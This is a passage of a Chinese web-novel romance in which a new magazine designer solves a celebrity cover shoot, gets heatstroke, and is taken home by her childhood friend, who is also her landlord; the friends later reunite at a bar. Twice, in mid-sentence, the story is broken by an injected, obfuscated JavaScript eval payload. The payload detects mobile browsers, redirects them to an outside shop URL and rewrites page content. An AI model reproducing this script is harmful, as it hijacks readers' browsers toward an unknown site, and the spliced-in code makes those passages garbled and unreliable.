林檬心里倒真诚希望女孩在工作之后还能保持这样的状态。 手头工作不太多,林檬利用摸鱼时间思维发散。 再看到女孩胸前工牌上的名字,她想到了什么,怜爱地看了女孩一眼,从挡板后面朝她招手。 “妹妹,经验之谈。” 温遇将黑色水笔戳进笔筒,歪头看她:“嗯?” “可以再多擦一会儿工牌。” “因为下午就不一定有时间擦了。” - 林檬的话一语成谶。 刚吃过午饭,温遇和她一起从食堂出来,手里的酸奶和苹果刚放到桌面上,之前给她面过试的副部长饶婷就给她安排了任务。 Mentha九月份刊物的封面拍摄正在进行,她让温遇跟着去看一眼,顺便学习一些东西,尽早融入设计部的工作里。 饶婷发给她拍摄影楼的地址,离杂志社总部不远,步行二十分钟可以走到。 南川的盛夏燥热依旧,道路两侧林立的树木提供了大部分绿荫,只是闷热的空气如同海中沉石拼命下坠,直面面地扑到脸上,让人呼吸都跟着迟滞几分。 温遇边打着遮阳伞边留意手机上的实时定位,等她赶到的时候,封面已经开拍。 白色的背景板已经立起来,地面上摆放着一圈鲜花,闪光灯从模特上方的两侧斜斜照下,三脚架摄影机归位,是一副相当专业的拍摄现场。 没想到拍摄的模特是当红小花艾雯,此刻她被花朵簇拥在中央,浅蓝色裙摆铺地,清雅且美丽。 温遇找了个安静的角落站着,动作很轻地把遮阳伞收了起来。 负责拍摄的人各司其职,一时半会并没有人注意到新进来的人。 从斜挎包里摸出平时记账的小本,温遇随手记录着什么。 倏忽,前面几声嘈杂,她抬眼望去,似乎是艾雯并不太满意摄影师给她照的几张照片,正起着争执。 “刚才杂志封面的照片已经拍完,但我也说了我需要留一套自己想要的照片存下来。拍出来要那种闪闪发光的效果,就是前段时间网上流行的那款。” 负责拍摄封面摄影师是一位三十多岁的男性,完全听不懂艾雯口中前段时间网上流行的那款到底是什么,看向总负责人,一副有苦说不出的表情。 负责人显然也没太明白,只能在中间调停,说工作之外的拍摄他们也不一定能完全理解她的意思。 见他们一头雾水,艾雯没再多说,转身坐回自己的折叠椅上,和旁边的助理说:“你去告诉他们,后续杂志内页的拍摄要不就延迟吧。” 话外隐隐的威胁,不言而喻。 负责人这边给Mentha总部打电话,总部不同意后续拍摄延期,这样完全打乱节奏,双方意见相左,一时间僵持在影楼的拍摄棚里。 三脚架的旁边放着一个塑料箱子,里面有很多常用的拍摄道具,温遇正要弯腰从里面拿,刚才给艾雯拍摄的大哥看见喊了句:“干嘛呢?” 见是一张陌生的脸,男人疑惑:“你谁啊?” 温遇收回手,看向来人,从口袋里摸出工牌给他看了眼:“您好,我是Mentha设计部的,副部长让我过来学习。” 男人一听是设计部,刚升起的希望又跌落下去,撇着嘴往旁边走,继续带着人和艾雯那边的团队交涉。 温遇从塑料箱子里找到了自己想要的东西,径直奔着总负责人的方向走去。 中年男人正有些焦头烂额,他之前也合作过不少艺人,自然也遇到一些不太配合的,这次总部给他这边的要求是后续拍摄不能延期,艾雯这边拍不出想要的照片也不肯松口,他夹在中间两边都是为难。 急得额头滚落下汗珠,他看见眼前走过来的女孩。 他看见她胸前的工牌,更诧异于她口中说的,没准能拍出来让艾雯满意的照片。 …… 艾雯正和经纪人商量延后拍摄,去协调时间的小助理小跑过来:“艾雯姐,摄影那边知道您想要什么效果,说咱们可以去拍了。” 半信半疑间,艾雯还是提着裙摆往背景板走,余光瞥见正在和刚才拍她的摄影师站在一起的人。 一个年轻的小姑娘,身上穿着和她并不相称的职业装,衬衫袖口挽到肘间,但又因为不合身垂落下来,发丝略微凌乱,像是来摄影棚打杂的。 她不以为意,无意瞅见那女孩拿着什么东西往镜头前面放。 果然还是太年轻了,什么都不懂。 对面的温遇并不知道艾雯轻易就给她安了个定位,只是把手里的黑色欧根纱递给摄影师,然后看向道具组的负责人:“现场有泡泡机吗?” “有。” 温遇点了下头:“一会拍摄的过程中,在模特周围吹一些泡泡。” 一切准备就绪,负责人喊了句开始拍摄,场地里重新恢复安静,只有快闪的声音响起。 拍摄结束,艾雯不太抱希望地跟着摄影导演查看照片,却在看到屏幕的那一刻诧异万分,反反复复把照片看了好几遍才问:“就是这种效果,你们怎么做到的?” 听到这句话,周围人似乎是松了一口气。 总负责看了眼温遇:“这个小姑娘给出的方法,我以前还真没听说过,可能是最近才流行的,这次也算是学到了。” 艾雯看到照片,刚才积压的不悦几乎消散了个干净,偏头和助理说:“去订奶茶。” 然后笑着看向众人,“今天下午辛苦大家了,我请大家喝奶茶。” 目光则有意落到温遇身上,若有所思。 拍摄在一片有惊无险中结束,温遇帮忙收拾道具,在塑料箱子里整理东西的时候,负责人凑过来问她:“小姑娘,你一个设计部的,怎么还这么懂摄影方面的东西啊。” “没有很懂,只是以前在网上看过这种方法,就记下来了。” 温遇在社交软件上算个小摄影博主,更专业的东西她自觉说不上话,不过她倒是懂一些摄影技巧,刚才艾雯和摄影师描述的效果,恰巧是她之前尝试过的一种。 于是她就把自己的拍摄经验和方法告诉摄影师,而为什么问现场有没有泡泡机,是因为这种拍摄方式具体体现在比如光、泡泡或者水珠这种发射作用强烈,可以形成氛围感的物品上更加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628000|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显。 好在没有耽误拍摄进度。 温遇分神想,自己今天也算是学到东西了。 手头的箱子收拾得七七八八,温遇感觉有人拍了下自己的肩膀,回头正是艾雯的助理。 “你好,我们家艾雯姐想找你聊聊天。” 旁边的场务人员朝温遇道:“这儿我收拾吧,你去忙你的。” 温遇跟着助理来到摄影棚后面的化妆间,正对上描画眼线的艾雯。 艾雯从宽大的化妆镜看见温遇走进来,离近看才发现女孩嘴唇有点发白,刘海也有几缕黏在额头上还没好好整理。 她不知想到什么,挑着红唇笑了下,“坐。” 然后看向助理:“小陶,你先出去,把门带上。” 化妆间彼时只有她们两个人,正当温遇想怎么打招呼的时候,艾雯开口了:“刚才拍摄的时候,是你告诉摄影师方法的吧。” 化妆间香水味挺浓,温遇额上的汗还没干,此刻熏得头一阵发晕,喉间还有些正在上涌的恶心感,没很快思考出艾雯话里的意思。 见温遇没说话,艾雯开门见山:“我看你刚才指导摄影师的动作不像个新手,有没有兴趣当我的个人摄影师,价格方面好说。” 比起在摄影棚做一个打杂妹,跟在她身边应该会好多吧,艾雯觉得她不太会拒绝这根橄榄枝。 温遇愣了下,没想到艾雯找到她是为了这个,她缓了两秒,挺认真回答:“谢谢您的邀请。” 艾雯原本骄矜自信的笑淡了几分。 她这样说,这就是拒绝了。 “我的摄影技术并不专业,而且我大学主修的是设计,并没有系统学过摄影,恐怕并不符合您招人的要求。” 艾雯知道她有拒绝的意思之后,就已经转头继续描摹眼线,听完她不痛不痒的一番话,语气比先前冷淡了几分:“那就这样吧。” 温遇临走前又说了一遍抱歉,往外走时刚好碰见小陶给大家分发奶茶,她路过的时候,小陶从保温袋里拿出来递给她。 温遇摇头笑了下,轻抿了下干燥的唇:“谢谢啊,不过我今天有点不太舒服,就不拿了。” 她说完就回头找自己的斜挎包,最后发现放在塑料箱子盖上面,清点了下包里的东西,温遇转身离开影楼。 她出来的时候天色仍旧亮着,温度比起下午略减,但依然燥热漂浮,温遇脑袋一阵阵发晕,怀疑自己是不是中暑了,转身进入一家冷饮店,点了杯酸梅汁。 手机只剩20%的电量,她在隔壁便利店租了个充电宝,开始回复微信里的消息。 最新的一条是程以桉问她第一天工作的感觉如何。 温遇抿了口酸梅汤,盯着液体上层漂浮的冰块发呆,拿着吸管将冰块戳下去,松开力道,它又重新上浮。 原来冰块也是打不倒的小强。 和冰块较劲几个回合后,她打字回。 小鱼丸了:其他的都还好,就是感觉自己中暑了。 那边秒回:???真中暑还是你开玩笑的啊。 温遇拍了张自拍发过去:我也不知道,就是感觉头挺晕的。 程以桉:我的姑奶奶,你脸怎么这么红,不是发烧了吧。 程以桉:你在哪儿呢,我去接你。 温遇透过玻璃反光看向自己的脸,寻思应该没有程以桉说的那么严重。 小鱼丸了:不用啦,我一会打车回去就好。 酸梅汤喝了一半,温遇把一直绑在后脑勺的头发散了下来,双手交叠着趴在木桌上,发呆了一会儿才想起来自己要打车这件事。 预约了网约车,温遇刚要趴下,手机就有电话打进来。 她以为是司机,没有看屏幕上的号码,摁掉接通直接说:“师傅您好,我在悦嘉影楼旁边的饮品店,您到了打个电话告诉我就行。” “……” 对面没有回复,两秒后直接挂断。 这司机师傅还挺冷漠。 温遇没多想,捂着有点发疼的脑袋把手机放在一边,慢吞吞地喝完剩下半杯酸梅汁。 饮品店的整体布置呈暖色调,头顶的白色吊灯洒下轻柔灯光,温遇正驱赶着困意强忍着打哈欠的动作,后衣领感觉被人拎住。 她吓了一跳,连忙直起身子,偏头看向已经站在她身边的人。 拎着她衣领的手已经垂下来,皮肤冷白,青色血管蜿蜒,视线不自觉挪到手上。 怎么看怎么眼熟。 黑色骷髅印花T恤,亚麻色直筒裤。 温遇往上看,对上张渔夫帽笼罩下的脸。 头顶顷落的光束都被软边帽檐接住,几束不太听话的碎光散落,她眼前光芒也微弱,只因视野完完全全被眼前人的脸占据。 谢闻颂没说话,垂着眼看她,而温遇的大脑还在加载,宕机期间只能盯着他的脸发呆。 然后不知道想到什么。 她开口,一如既往脑回路清奇。 “谢闻颂,你什么时候转行当司机了?” “……” 10.鱼鱼 10/ 谢闻颂觉得自己能有现在的心平气和全靠和某人说话锻炼。 但凡现在换个人,都会被她气出病。 不过自从温遇从国外回来以后,他似乎已经对她宛若新开辟的脑回路逐渐适应。 可即便如此,现在的他听到这句话还挺想笑的。 他不着急解释什么,揣着手走到靠背沙发边缘,眼神示意温遇往里坐点,下颌微微抬起的时候一副拽哥样。 于是等温遇发现他就这么和她挤在一排沙发上时,后知后觉地噘嘴吹了吹额前的刘海:“谢闻颂,对面不是有位置吗?” 难受了还是对他这么不客气。 谢闻颂回想刚才电话里的声音,几分痒像小虫爬上心脏,他伸手从桌子上抽了张纸,将玻璃杯外滴在桌上的冷凝水擦干净。 把湿成一团的纸巾扔进桌子旁边的垃圾箱里,谢闻颂撑起一侧手臂托着下巴,解锁手机的动作略微停顿,目光偏向她,慢悠悠来了句:“司机有这待遇?” “……” 温遇将头重新扭回自己的手机屏幕前,才发现自己刚才打车的时候网络不佳,这一单并没有发出去,自然也就没有司机接单。 所以刚才那通电话,她不用回看记录也知道是谢闻颂打来的。 上班第一天就遇见这么抓马的事,温遇严重怀疑自己今天出门前没看黄历。 手指因为无措扶在纸吸管上,温遇吸了两口才发现杯子里已经没有酸梅汤了,也不知道自己这个傻里傻气的动作被谢闻颂看见没,刚要将杯子推远,散在肩膀上的头发被人拢在一起,泛着薄凉温度的指腹无意间触碰她脖颈处的皮肤。 像夏天那颗想一直在嘴里不化的薄荷糖。 温遇直起上半身,一侧肩膀向沙发背的方向贴近,而此时谢闻颂也和她做相同的动作,上身朝向她,角度问题只留一只手圈住她的头发。 谢闻颂的手臂擦着她的脸庞,这个角度,她像是被他罩在怀里一样。 温遇纳闷,他怎么总喜欢拨弄她的头发。 她稍微往上抬点眼神,就能和谢闻颂的对上。 刚想偏开头避开他的视线,原本圈在她头发上的手托着她后脑勺,带得离他近一点。 对方衣领上飘散的淡香钻进她的呼吸。 温遇睫毛颤了两下。 “走吧,回家。” - 车里光线昏昧,温遇早就把外套扔在一边,撑着头,视线游移在外,突然想起什么似的开口问:“谢闻颂,你怎么知道我在那家店里。” 似呢喃的一句话,原本没想着他能听见,结果过了几秒他却开口:“程以桉说你中暑了,我说我就在附近,正好可以过来看看你的情况,顺便接你回家。” 温遇没想到是这么一回事,原本要说出口的话顿住,眼睛明明看向窗外,可是在此刻,通往心脏最大的那根血管像是被一块浸水海绵堵住,刚才和谢闻颂在饮品店的画面还在脑海闪现,与眼前玻璃上倒映的侧脸几分重合。 靠过来时滚烫的气息,有让她微醺的能力。 温遇想,这样昏昧的灯光下,她的目光似乎可以不像刚才一样仿佛被烫到而下意识躲避。 放在挎包里的手指似乎摸到了什么东西,她清楚是什么,于是伸手握紧。 又一个红灯,谢闻颂正想掏出手机看看时间,搁在方向盘的那只手被人用指尖轻轻戳了个月牙形,有点痒。 谢闻颂不知道温遇又有什么话不好意思说出口,要用这种方式先挑逗他一下,于是把手机放在膝盖上,目光移过去的时候刚好对上女孩灿烂的笑脸。 “……” 他怎么有点儿不太好的预感。 注意到某人略带警惕的眼神,温遇突然对即将说出口的话紧张起来,下意识抿唇。 “对不起谢闻颂,我刚才语气不太好,希望你别生气。” 谢闻颂一瞅见她这副低眉顺眼的样子就忍不住想逗她,低笑了声才慢悠悠回复:“哪儿语气不好了?我怎么没听出来。” “你又是从哪看出来我生气的?” 揣着明白装糊涂。 这就是她温遇的竹马。 见女孩没说话,谢闻颂唇角上扬,惯常无所谓又带着点幽默的语气飘上来:“我要是生气了,刚才就应该把你从车上扔下去。” 气氛不如之前凝固,温遇嘴也硬起来:“我走也能走得回去。” 边说边把头撇向另一边,孩子气得可爱。 谢闻颂从另一边的后视镜看见温遇的动作,想起以前的某件小事,心情愉悦几分,趁着又一个红灯的间隙摸了把她的头。 “脾气见长,这时候倒没把我当债主了。” …… 心里想着事的间隙,车已经开进蓝湾。 谢闻颂明显是想让她把刚才的事翻篇,温遇明白他的意思之后也没再纠结,见谢闻颂解下安全带,她快速从斜挎包里摸出一个桃子形状的挂坠,在谢闻颂的眼神里从中间拉开拉链,露出里面通体雪白的毛绒兔子。 “可爱吗?” 谢闻颂认真看了两眼,视线错开落到后面一脸期待等着他评价的温遇,又有点想笑的冲动:“和你挺像的。” “……” 温遇没接他这句话,只是把手里的毛茸茸放到他的手心,一副难以割舍的表情:“送你了。” 谢闻颂懒散靠在座位上,拎起一只兔耳朵:“生日礼物?” 往事重提,温遇脸颊又开始发烫,不过这次是因为窘迫,丢下了句“不是”就拉开车门下车。 听见车门带上的声音,谢闻颂将毛绒兔子拢在手心,在一个人的车里倏尔笑出声。 脾气大也是真大。 可爱也是真可爱。 一个笑容,给他所有脾气都带走了。 - 第二天上班的时候,温遇果断换了一身舒服的衣服去上班,昨天穿了双带点跟的新鞋,走回家的时候不出意外脚后跟已经有点被磨破。 她到工位的时间挺早,等待电脑开机的间隙,盯着旁边放着的藿香正气液发了会儿呆。 昨天洗澡后消毒伤口,她从床头柜摸出急救包,在里面翻出来两条创可贴。 刚要撕下包装,放在身旁的手机倏然亮起。 Song_:家里还有点藿香正气液和冰凉贴,挂门把手上了,记得拿一下。 这人平常随意的口吻,却无端让温遇的心里拨开层层涟漪。 从门外拿到东西,温遇给他发了个谢谢的表情包。 对面没回,应该是睡了。 她躺在床上的时候还在想,有时候她也不太能分得清,谢闻颂和她,到底谁才是公主。 明明对方在性格上可比她拽多了,但是每次也不知道是不是谢闻颂老对她公主公主的喊,让她总有种错觉。 所以她越发觉得,这调侃之外似乎还夹杂了点别的东西,她也不太能说清。 遐想收拢,温遇在工位上拿起手机,点进和谢闻颂的对话框,这才发现他换了个头像。 通体雪白的小猫,耳朵尖带着点粉,躺在地板上正抱着一个毛绒胡萝咬。 静态图片完全能把温遇萌得鼻血飙出来。 可爱到如果不是看了备注,都有点认不出来是谢闻颂的程度。 不过温遇已经不太记得他之前的头像是什么,心里调侃两句,习惯性顺手点开他的朋友圈。 朋友圈没有限制权限,他不太爱发生活,大部分还是转发一些自家企业的公众号文章,有零星几条和日常生活沾边的,也几乎就发一两张图片,冷漠得连配文都没有。 嗯……这才像个公主嘛。 高冷且优雅。 温遇上下翻动几下就返回到最上端,注意到刚才没仔细看的背景图。 谢闻颂的朋友圈封面是圣马力诺的标志建筑物,蓝调时分的古堡巍峨美丽,这地方毕业旅行时温遇也去过,并不陌生。 想到这儿,她发现自己找谢闻颂最重要的目的还没达到,火速回到对话框,认真打下三个字,然后点击发送。 【是、谢、礼。】 对面秒回一个问号。 温遇觉得他可能是忘了,于是提醒:昨晚的毛绒兔子。 对面似乎停顿了十几秒。 Song_:你的反射弧一般都这么延迟吗? 温遇将手机平放在桌面上,食指轻点桌面。 明明谢闻颂不在眼前,可她还是有种不在自感:这不是昨晚没说清楚嘛。 指腹压在屏幕上,温遇看见对面发来一条语音。 她看了眼周围,莫名有种摸鱼要被抓包的紧张感,见还没到上班时间,火速把耳机戴上,这才敢点开那条语音。 “行,谢谢公主。” 声音掺了显而易见的笑音,缀着谢闻颂对她说话的一贯腔调,耳机的音量还是她早上听歌的时候调高的,此刻仿佛这人就在她耳边笑一样。 温遇默默摘下耳机,双手顺势捏住耳垂,眼神却仍旧落在屏幕上。 Song_:工作呢? 小鱼丸了:要是工作就不会和你聊天了。 Song_:那我还挺希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660142|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望你不工作的。 看到这条,温遇明显愣了下,心头像被条薄纱轻轻勒住又松开,发着轻轻战栗。 小鱼丸了:呜,不工作就没钱交房租。 他是不是忘了房东是他自己。 等了几分钟也没等到回复,温遇以为他也开始忙起来,就随手把手机放在一边。 起身去上了趟厕所,出来的时候邻座的林檬也坐到工位上,正吃着早饭。 温遇问了声好,听见手机消息提示音。 她从置物篮抽了张纸擦手,瞥见屏幕上那条迟来的消息。 【放心吧,不交房租也不会给你赶出去的。】 - 每周二的上午照常开部内例会,温遇第一次参加,自觉带了笔和本,坐在离电子屏幕最远的位置。 等待部长来的间隔内,温遇双手搭在桌沿边,垂头看着自己的白色裤子,这才发现自己的工牌竟然没带来。 坐在她旁边的林檬看见她的动作,压低声音:“怎么了?” “我没带工牌。” 林檬松了口气,想起小姑娘昨天仔仔细细擦上面的塑封,估计还挺在意这个,果断安慰道:“那玩意不戴也行,平时工作几乎用不到,你也不是实习生,部内一般也不查这个。” 温遇嗯了一声,虽然林檬这样说,但是找不到总有一种不踏实感。 见部长和副部长还没来,她火速想了下工牌有可能落在的位置,摸出手机,给谢闻颂发了条消息。 对方不像早上那样秒回,例会马上开始,温遇只能先把手机收进兜里。 第一次参加设计部的集体活动,温遇听会期间腰板挺得笔直,反倒是旁边的林檬,撑着额头,趁旁人不注意的时候扭头打了个哈欠,正好对上温遇投来的眼神。 四目相对,温遇没忍住弯眼笑,从兜里摸出块薄荷糖塞到林檬手里,朝她眨眨眼。 这招她可是跟谢闻颂学的。 脑海里下意识冒出这个想法,温遇摸出手机解锁,还是没看见谢闻颂的消息。 指尖在屏幕边缘打转,食指用力锁掉屏幕,这次她直接把手机放在笔记本旁边,把注意力重新挪回例会上。 这次例会的主要内容主要是Mentha九月刊的封面设计,艾雯昨天拍摄的照片已经从摄影部传回来,等待内页拍摄的时间,要把这个月的封面设计做出来。 后半程会议需要记录的东西还挺多,温遇没再看扣在桌面上的手机,等例会结束也到了吃午饭的时间。 温遇拿着餐盘先找了个位置坐,等林檬的时候这才想起查看手机的消息。 谢闻颂一个小时前给她留言了。 Song_:车今早送去保养了,我晚上去取的时候给你看眼。 Song_:但不保证时间,我估计会晚点回去。 她回了句好。 退出聊天框,程以桉给她发消息,说今晚有熟人局,在老地方要不要过来。 熟人是谁不言而喻。 手头还有工作要忙,温遇稍微纠结了一下,想起自己身上的衣服也没时间回去换,和程以桉说今天可能就不去了。 刚发完消息就有点心不在焉,此时林檬已经走到她对面的位置坐下,喊了她一声,温遇这才回神。 午休时间,温遇把u型枕套在脖子上,点开微博,首页关注弹出来了林思睿的最新动态,ip显示在南川,她眼皮突然跳了两下,想起什么,给谢闻颂发消息。 小鱼丸了:你今晚是有事忙吗? 对面在线。 Song_:嗯,林思睿回来了。 温遇清醒几分:?那他为什么没告诉我?我还是刷微博才看见的。 Song_:他知道你下午要工作,和我说这事可以晚点告诉你。 小鱼丸了:那你不会等我要下班的时候再告诉我吧。 Song_:原本是打算这个想法。 温遇还挺庆幸自己刚才问了一句:不过你可能要失算了,我今天没准要晚下班。 没想到对面比她淡定多了:没事,我下午正好要带核桃去你们公司隔壁做宠物检查,他们先玩儿,我倒时候和林思睿说一声。 小鱼丸了:那他们会不会觉得你在耍大牌。 对面发来几条回复,就差把嚣张直接打在屏幕上。 Song_:不是我。 Song_:是我们。 Song_:而且不算耍大牌,就算是的话,你觉得林思睿打得过我? 小鱼丸了:…… 好哥们留着果然是用来坑害的。 11.鱼鱼 11/ 温遇、谢闻颂和林思睿是在初中认识的。 林思睿的爷爷曾经是军人,他从小跟爷爷奶奶搁军区大院里长大,初中时他父母把他户口转回市区,正式开启初中生活。 林思睿的父母和谢家父母在一次商业展会上结识,有过合作往来,两家关系还算不错。所以在提到给林思睿选学校的这个问题上,乔若琳和谢景舟提出要不让两个孩子在一所学校上学,也就是南川附中的初中部,离家也近,接送方便。 双方家长一拍即合,时间一长,三个人在一起玩儿的时间也变得多了起来,三个人中谢闻颂最大,温遇最小,所以每次他俩拌嘴的时候,总是林思睿在中间负责调停。 一边是嘴上不饶人往死里挑衅的“假”软妹,一边是咬牙切齿要逮着她辫子薅的“真”酷哥。 林思睿表示,为了这两位祖宗的友谊,他自愿献祭。 高三结束,林思睿的父母打算让他去国外上大学,录取信息下来的那天,温遇是最后一个知道的,一开始还忍着没有情绪波动,后来直接哭得眼睛都红了。 谢闻颂施展出十八般武艺怎么哄都不好使,解铃还需系铃人,最后还是他把林思睿拽过来,后者比出一个保证的手势,表示假期会经常回来,温遇才把哭了一半的眼泪憋回去。 当天晚上,穿着校服的少年少女走在回家的路上,路灯昏黄,仿佛把眼前所及的一切都折皱,人生隐隐约约露出的岔路口上,长大才刚刚走过来,就已经让人心生感慨。 谢闻颂还吐槽了一句:“你怎么没为我哭成这样。” 温遇把头偏到一边,似乎嘟囔了一句什么,谢闻颂却没听清,把耳朵凑过去:“什么?” 女孩却不再重复,谢闻颂只好轻轻拽了下她的马尾辫,撂下一句:“没良心的你。” 大学四年,林思睿也确实按照约定那样假期回来,不过国外大学的假期和国内并不同频,所以他们三个一年到头聚在一起的时间和机会并不多。 如今林思睿也顺利毕业,三个人再次重新聚到南川,开始各自新的生活。 熟悉的人都在一个城市,就好像所有兜圈的线回到一个移动的点开始,为自己的生活奔波努力,温遇想到这,觉得这样已经很好。 重新恢复元气,温遇下午工作效率出奇得高,封面设计在组内完成,有什么问题她就问同组的前辈,也得到有效的解答,沟通比想象中顺利很多。 在社交这方面,温遇向来能做到游刃有余,即便初来乍到,也没有一点紧张怯场,这才第二天下午,基本已经适应新的工作。 旁边的林檬看见她在工位上奋笔疾书,真觉得设计部招来个宝。 感觉在温遇旁边工作,精神头都比之前足了。 封面设计推进很顺利,部长给大家订了下午茶,分的时候,和温遇一组的前辈余源走到她的工位旁边:“小温,去拿蛋糕吧。” 温遇视线从电脑移开,看向余源:“源姐,我不着急拿,还有个细节要核对……” “哎呦你都忙一个下午了,要卷死姐姐我们啊。”林檬从她身后走过来,这次不客气地揉了把小姑娘的头,“行了,快去拿下午茶,不然一会全被挑光了。” 见鼠标被林檬摁住,温遇只好给自己一会儿休息的时间,她去茶水间旁边的圆桌随便拿了块蛋糕,回来的时候发现余源靠在她工位的挡板旁边还没走。 揭开塑料盒,温遇挖了勺蛋糕送进嘴里,刚抬头就对上余源凑过来的脸,现在大家都在休息,闲聊一会儿也没事。 余源自己从旁边拽了把椅子,三个人围在一圈,主要是问温遇问题。 从初中问到大学,但都不是什么私密的问题,温遇倒也没有隐瞒。 聊了十分钟,温遇蛋糕才吃掉三分之一,她正垂头用叉子分出一小块,余源冷不丁问了句:“小温你有男朋友吗?” 叉子插进奶油的动作顿了下,她没抬头:“没有。” 谈到这个话题,她不像之前回答那些问题一样轻松自然,心里埋了事情,所以有些话说出口的时候就要过一道坎,把信件锁在笼子里是要付出代价的,也只有她知道,信纸上的语言不流利,也不自由。 晦涩难懂,却又孑然一读再读。 所以谈及,只能用若无其事掩就。 - 预想的加班并没有来临,温遇把林檬送给她的几盆多肉淋了点水,收拾好东西,找到谢闻颂和她说的那家宠物医院,刚推开玻璃门,就看见坐在休息区的男人。 一贯的休闲打扮,从头到脚像个还没毕业的学生,此刻正坐在单人沙发上半弯着腰撸狗。 核桃应该是刚吹干毛,蓬松的毛发从谢闻颂的指缝冒出,像初春时节拢在手心蓬勃茂盛的小草。 似乎是核桃背部的毛不太平顺,他腰塌低了些用手梳理,背后的肩胛骨把上衣布料微微顶起。 看见走过来的温遇,谢闻颂顺势起身,核桃伸着舌头就贴着女孩的小腿蹭。 她今天穿了条燕麦白的工装短裤,核桃身上柔软的毛贴过来的时候还有点痒。 谢闻颂自然注意到自家逆子的动作,给了它一个适可而止的眼神,后者心领神会但仍旧不改,绕着温遇的周围打转,转完又贴上去。 不知道还以为温遇才是它主人。 谢闻颂瞥了眼核桃,又看向正撸着狗头不亦乐乎的某人:“走吧。” 地点定在Nocturnal,这一片是商圈,去哪儿都不算远,谢闻颂和温遇商量着打算步行过去。 傍晚时分,绯红晚霞与散云缠绕,晚风里的燥热有所消退,天上的灯短暂熄灭,地面上的灯光接替上岗。 商圈附近保留了一些古老建筑,一些在平房里拔地而起的古树都挂上了金属标志牌,一砖一瓦砌起的建筑也有些时间穿行而过造成的磨损。 街道两侧的小铺门口,悬挂的灯泡点亮,几只小虫攀爬其上。 温遇从街边买了两支蜜瓜味的冰棒,一支递给谢闻颂。 “谢谢。”谢闻颂正要接过,就看见女孩又把手缩回去,把冰棒外面的包装撕开,指尖捏好雪糕棒递给他。 她头发有点炸毛,忙碌了一天,原本应该绑在脑后马尾松散下来,碎发此刻散落在刘海两边,发梢落在锁骨处的皮肤,仿佛勾绕在他心脏的血管上。 心跳几分加重。 谢闻颂看着她低头拆冰棍包装的样子,在没被温遇看见的时候,弯起唇角。 让公主亲自给他拆冰棍,怎么就觉得这么荣幸呢。 …… 快到地方的时候,谢闻颂让她先进去,他去取车,顺便看一眼温遇的工牌是不是落在车上。 温遇点头,却没想在Nocturnal门口碰见陆星桓。 她原本是想在门口等一会儿谢闻颂的,垂头将鞋尖点在地面上,一道声音从她身旁响起。 “温遇?” 温遇本身是对声音不是很敏感的人,可是这个声音不一样,几乎条件反射就能让她认出来和自己说话的是谁。 程以桉给她发消息的时候说有熟人,她却没想到这么巧会迎面碰见。 双手无措地放在身后,温遇抬眼看向面前的人:“星桓哥。” 视线下落,这才看见陆星桓手里正抱着一束花,大概得有几十朵卡罗拉玫瑰。 宛若一片火海,娇艳欲滴。 心跳突然漏了一拍,似乎有什么从她心头飘过,还没来得及抓住就消失无踪。 “程以桉刚才说你应该不来了……”陆星桓说到这反应过来,“有别的朋友?” 温遇点头,目光下移到眼前的玫瑰花上,刚要开口,小腿上传来熟悉的触感。 她低头看,核桃正坐在自己脚边,尾巴在地上扫来扫去,身上的狗绳也被人解开,感觉到温遇此刻低头看它,它也扬起脑袋,圆润黑亮的眼珠自带萌感,一副无辜模样。 “这是你的狗?”陆星桓似乎有点惊讶,下意识挽唇。 “不是。”温遇摇头,正想谢闻颂怎么让核桃一个人过来,还没牵绳。 没等她往旁边看,垂落的视线里出现一双鞋。 核桃顿时站起身,往旁边的人身上挪去。 谢闻颂看了眼站在面前的两个人,最后朝陆星桓点了下头,往后撤一条腿蹲下,正给核桃重新绑上狗绳。 站起身之后,也完全没有要提前走的意思。 三个人之间的气氛有几分微妙,圈子里的人来来回回就那些人,陆星桓自然认识谢闻颂,只不过不太熟。 现在这情况,他大抵猜出这两个人应该是一起来的,于是也不打算继续耽误温遇的时间。 “温遇妹妹,那我先走了,玩得开心。” 轻飘飘的一句话,照旧在心里掀起熟悉波澜,温遇露出浅笑:“好。” 抱着大束鲜花的陆星桓从她身边经过,馥郁芬芳散在她呼吸的空气里,竟然比中午最燥热的时候,还多几分滞闷,心脏像破了个小洞。 她看向透明玻璃里自己的倒影,发辫早已松散下来,脸上没带妆,边缘的刘海几绺被汗湿,唇色也有点发白。 原本还算平静的心情被重物吊着几分下坠。 是不是也有点太狼狈了。 什么东西隔着刘海敲了下她的脑门,温遇视线落到谢闻颂手里的工牌,挂绳下垂,尾端还被核桃咬了一口,留下几块口水印。 “不要了?”某人似乎和刚才散步时候的心情不太一样,不过温遇没太注意,接过工牌,蚊子声大小说了句谢谢。 谢闻颂怎么可能没感觉到她的不对劲,眼皮掀起淡淡看着她。 “要是再不进去,估计一会儿林思睿还以为咱俩走丢了。” 温遇被他这么一打趣,刚才的滞闷的心情散了大半,此刻只剩下吐槽:“这么大人了,怎么还会走丢。” 她拉了下谢闻颂的短袖袖口:“走了。” - 距离上一次林思睿回国也已经过去了半年多,此刻三人重聚,偌大的包厢里有说有笑,也不冷清。 包厢里有麦克,林思睿嚎了几嗓子《热情的沙漠》,谢闻颂全程在一边“掏耳朵”,核桃也远离他们趴在空调下,平时听见点动静瞬间直起身,今天直接没挪窝。 看来确实是如听仙乐耳暂聋。 温遇偶尔评价两句,剩下时间基本都在吃果盘里的西瓜。 